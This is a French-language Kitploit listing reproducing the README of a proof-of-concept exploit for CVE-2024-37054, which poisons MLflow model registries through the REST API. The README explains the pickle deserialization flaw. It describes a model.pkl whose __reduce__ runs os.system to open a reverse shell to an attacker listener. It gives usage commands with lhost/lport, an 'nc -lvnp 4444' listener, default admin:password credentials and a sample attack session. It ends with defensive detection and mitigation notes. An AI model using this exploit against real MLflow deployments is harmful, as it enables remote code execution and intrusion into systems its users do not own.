Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-37054 — Preuve de concept qui empoisonne les modèles enregistrés MLflow via l'API REST, en intégrant un pickle malveillant pour déclencher une RCE lors du chargement du modèle. | Kitploit
Outils/GitHubGitHub/bardlaudian/cve-2024-37054
Outils DéfensifsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage AutomatiqueRed TeamingDéveloppement de Charges UtilesSécurité de l'IA
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

Preuve de concept qui empoisonne les modèles enregistrés MLflow via l'API REST, en intégrant un pickle malveillant pour déclencher une RCE lors du chargement du modèle.

1il y a 1 jourPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

mlflow-pickle-rce

Preuve de concept générique pour une RCE par désérialisation de pickle contre les registres de modèles MLflow (style CVE-2024-37054). Ne communique qu'avec l'API REST MLflow — aucune hypothèse sur une quelconque application cliente en amont.

⚠️ Pour des tests de sécurité autorisés uniquement. N'exécutez ceci que contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester (environnements CTF/lab, missions avec périmètre signé, etc.). L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions.

Vulnérabilité

Le flavor pyfunc de MLflow charge un modèle enregistré en désérialisant (unpickling) un artefact model.pkl chaque fois que mlflow.pyfunc.load_model() est appelé — que cela soit déclenché directement via l'interface/API MLflow, ou indirectement par une application cliente exécutant une inférence sur un modèle enregistré.

Le module pickle de Python peut exécuter du code arbitraire lors de la désérialisation via la méthode __reduce__ d'un objet. Si un attaquant dispose d'un accès suffisant à l'API MLflow pour :

  1. créer une exécution d'expérience,
  • téléverser des artefacts dans cette exécution, et
  • enregistrer une version de modèle pointant vers ces artefacts,
  • ...il peut faire passer un pickle malveillant en tant que model.pkl. La prochaine fois que quelque chose charge cette version de modèle, le code de l'attaquant s'exécute dans le contexte du processus effectuant le chargement (le serveur MLflow lui-même, ou une application cliente intégrant MLflow).

    C'est la même primitive sous-jacente que celle derrière plusieurs CVE MLflow, notamment CVE-2023-6015, CVE-2023-6018 et CVE-2024-37054. C'est particulièrement dangereux car les instances MLflow sont fréquemment déployées sans authentification, ou avec des identifiants par défaut bien connus (admin:password).

    Ce que fait ce script

    Purement piloté par l'API, dans l'ordre :

    1. Vérifie l'accès à l'API (authentification basique HTTP).
    2. Crée un modèle enregistré (ou réutilise un modèle auquel vous avez déjà accès via --model-name).
    3. Crée une exécution sous une expérience donnée.
    4. Construit et téléverse :
      • model.pkl — un pickle dont __reduce__ appelle os.system() pour lancer un reverse shell.
      • MLmodel — le manifeste déclarant un flavor python_function / sklearn adossé à ce pickle.
    5. Enregistre une nouvelle version de modèle pointant vers ces artefacts.
    6. Fait éventuellement passer cette version à un stage donné (par défaut : Production), car de nombreuses applications clientes ne chargent que la version d'un modèle au stage Production.

    Ce que ce script ne fait PAS

    Il ne découvre ni ne déclenche le chargement réel du modèle — cette partie est différente pour chaque déploiement :

    • Parfois l'interface/API MLflow elle-même charge le modèle directement.
    • Parfois une application cliente distincte appelle mlflow.pyfunc.load_model() derrière un endpoint (une route /predict, une tâche batch planifiée, etc).

    Vous devez :

    • Obtenir vous-même le --model-name cible — depuis l'interface MLflow, l'API MLflow (/api/2.0/mlflow/registered-models/search), ou ce qu'une application cliente renvoie lorsqu'elle enregistre un modèle en votre nom.
    • Déclencher vous-même le chargement, quelle que soit la manière dont la cible le fait.

    Prérequis

    root@kitploit:~
    pip install requests --break-system-packages
    

    Python 3.8+. Aucune autre dépendance.

    Utilisation

    root@kitploit:~
    python3 mlflow_pickle_rce.py \
        --mlflow http://mlflow.target.tld \
        --model-name my-target-model \
        --lhost 10.10.14.1 --lport 4444
    

    Démarrez un listener avant ou après l'exécution :

    root@kitploit:~
    nc -lvnp 4444
    

    Déclenchez ensuite le chargement comme le fait l'application cible (son propre endpoint d'inférence, une tâche batch, un chargement manuel du modèle depuis l'interface MLflow, etc).

    Toutes les options

    FlagDéfautDescription
    --mlflow(requis)URL de base de MLflow
    --model-namealéatoireNom du modèle enregistré à empoisonner ; créé s'il n'existe pas
    --lhost(requis)IP de votre listener
    --lport4444Port de votre listener
    --usernameadminNom d'utilisateur pour l'authentification basique MLflow
    --passwordpasswordMot de passe pour l'authentification basique MLflow
    --experiment-id0ID de l'expérience sous laquelle créer l'exécution
    --stageProductionStage vers lequel promouvoir la version malveillante, ou none pour ignorer la transition

    Exemple de session

    root@kitploit:~
    $ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
        --model-name my-target-model --lhost 10.10.14.1 --lport 4444
    [*] Verifying MLflow access at http://mlflow.target.tld ...
    [+] MLflow API reachable (200)
    [*] Ensuring registered model 'my-target-model' exists ...
    [+] Model 'my-target-model' already exists, reusing it
    [*] Creating run under experiment 0 ...
    [+] Run ID: 3f9b1c2a...
    [*] Uploading MLmodel ...
    [+] MLmodel upload: 200
    [*] Uploading model.pkl ...
    [+] model.pkl upload: 200
    [*] Registering malicious model version for 'my-target-model' ...
    [+] Model version: 200 - {...}
    [*] Transitioning version 2 to stage 'Production' ...
    [+] Stage transition: 200
    
    [+] Malicious model version is registered.
    [+] Model name: my-target-model
    [+] Listener: nc -lvnp 4444
    [+] Now trigger whatever loads this model version in the target app
        (e.g. its /predict endpoint, or wait for a scheduled job that
         calls mlflow.pyfunc.load_model() on it).
    

    Détection & atténuation (notes défensives)

    • N'exposez jamais le serveur de tracking/modèles MLflow sans authentification, et ne laissez jamais les identifiants par défaut (admin:password) en place.
    • Restreignez qui peut enregistrer des versions de modèles. Enregistrer une version de modèle équivaut à une exécution de code arbitraire sur tout ce qui la charge ensuite — traitez cette permission comme vous traiteriez un accès de déploiement.
    • Ne désérialisez pas d'artefacts non fiables. Dans la mesure du possible, utilisez des flavors/formats de sérialisation MLflow qui ne reposent pas sur pickle (par ex. ONNX, ou des flavors avec une sérialisation plus sûre), ou validez/isolez le chargement des modèles.
    • Surveillez les appels inattendus à registered-models/create, model-versions/create et transition-stage dans les journaux d'audit/d'accès de MLflow, en particulier depuis des comptes qui ne devraient pas publier de modèles en Production.
    • Segmentez au niveau réseau le processus qui charge les modèles (le serveur MLflow et/ou toute application cliente appelant load_model()) afin qu'une primitive d'exécution de code à cet endroit n'ait pas de chemin direct vers des systèmes internes sensibles.

    Références

    • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — problèmes de désérialisation de pickle dans MLflow (recherchez dans NVD/MITRE les avis actuels et les plages de versions affectées).
    • Documentation de l'API REST MLflow

    Licence

    MIT — voir LICENSE.

    Télécharger l’outil